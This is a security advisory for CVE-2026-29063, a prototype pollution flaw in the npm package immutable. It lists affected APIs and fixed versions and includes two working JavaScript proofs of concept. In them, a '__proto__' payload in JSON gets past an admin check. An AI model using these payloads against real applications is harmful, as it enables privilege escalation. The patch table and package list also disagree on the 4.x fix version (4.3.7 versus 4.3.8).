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Open-source package vulnerability · npm

CVE-2026-29063: Immutable is vulnerable to Prototype Pollution

highCVSS 4.0 8.7 · 3.1 9.8GHSA-wf6x-7x77-mvgw

Impact What kind of vulnerability is it? Who is impacted? A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. Affected APIs API Notes --------------------------------------- ----------------------------------------------------------- mergeDeep(target, source) Iterates source keys via ObjectSeq, assigns merged[key] mergeDeepWith(merger,…

Published Mar 4, 2026 · Updated Apr 24, 2026

Affected packages

immutable

Ecosystem
npm
Affected
>= 5.0.0, < 5.1.5
Fixed in
5.1.5
Check
npm ls immutable

immutable

Ecosystem
npm
Affected
>= 4.0.0-rc.1, < 4.3.8
Fixed in
4.3.8
Check
npm ls immutable

immutable

Ecosystem
npm
Affected
< 3.8.3
Fixed in
3.8.3
Check
npm ls immutable

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Impact

_What kind of vulnerability is it? Who is impacted?_

A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.

Affected APIs

| API                                     | Notes                                                       |
| `mergeDeep(target, source)`              | Iterates source keys via `ObjectSeq`, assigns `merged[key]` |
| `mergeDeepWith(merger, target, source)`  | Same code path                                              |
| `merge(target, source)`                    | Shallow variant, same assignment logic                      |
| `Map.toJS()`                              | `object[k] = v` in `toObject()` with no `__proto__` guard   |
| `Map.toObject()`                            | Same `toObject()` implementation                            |
| `Map.mergeDeep(source)`                  | When source is converted to plain object                    |

Patches

_Has the problem been patched? What versions should users upgrade to?_

| major version | patched version |
| 3.x | 3.8.3 |
| 4.x | 4.3.7 |
| 5.x | 5.1.5 |

Workarounds

_Is there a way for users to fix or remediate the vulnerability without upgrading?_

Proof of Concept

PoC 1 — mergeDeep privilege escalation

"use strict";
const { mergeDeep } = require("immutable"); // v5.1.4

// Simulates: app merges HTTP request body (JSON) into user profile
const userProfile = { id: 1, name: "Alice", role: "user" };
const requestBody = JSON.parse(
  '{"name":"Eve","__proto__":{"role":"admin","admin":true}}',
);

const merged = mergeDeep(userProfile, requestBody);

console.log("merged.name:", merged.name); // Eve   (updated correctly)
console.log("merged.role:", merged.role); // user  (own property wins)
console.log("merged.admin:", merged.admin); // true  ← INJECTED via __proto__!

// Common security checks — both bypassed:
const isAdminByFlag = (u) => u.admin === true;
const isAdminByRole = (u) => u.role === "admin";
console.log("isAdminByFlag:", isAdminByFlag(merged)); // true  ← BYPASSED!
console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins)

// Stealthy: Object.keys() hides 'admin'
console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role']
// But property lookup reveals it:
console.log("merged.admin:", merged.admin); // true

PoC 2 — All affected APIs

"use strict";
const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable");

const payload = JSON.parse('{"__proto__":{"admin":true,"role":"superadmin"}}');

// 1. mergeDeep
const r1 = mergeDeep({ user: "alice" }, payload);
console.log("mergeDeep admin:", r1.admin); // true

// 2. mergeDeepWith
const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload);
console.log("mergeDeepWith admin:", r2.admin); // true

// 3. merge
const r3 = merge({ user: "alice" }, payload);
console.log("merge admin:", r3.admin); // true

// 4. Map.toJS() with __proto__ key
const m = Map({ user: "alice" }).set("__proto__", { admin: true });
const r4 = m.toJS();
console.log("toJS admin:", r4.admin); // true

// 5. Map.toObject() with __proto__ key
const m2 = Map({ user: "alice" }).set("__proto__", { admin: true });
const r5 = m2.toObject();
console.log("toObject admin:", r5.admin); // true

// 6. Nested path
const nested = JSON.parse('{"profile":{"__proto__":{"admin":true}}}');
const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested);
console.log("nested admin:", r6.profile.admin); // true

// 7. Confirm NOT global
console.log("({}).admin:", {}.admin); // undefined (global safe)

Verified output against [email protected]:

mergeDeep admin: true
mergeDeepWith admin: true
merge admin: true
toJS admin: true
toObject admin: true
nested admin: true
({}).admin: undefined  ← global Object.prototype NOT polluted

References

_Are there any links users can visit to find out more?_

Credited to davkharrr, FeBe95.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

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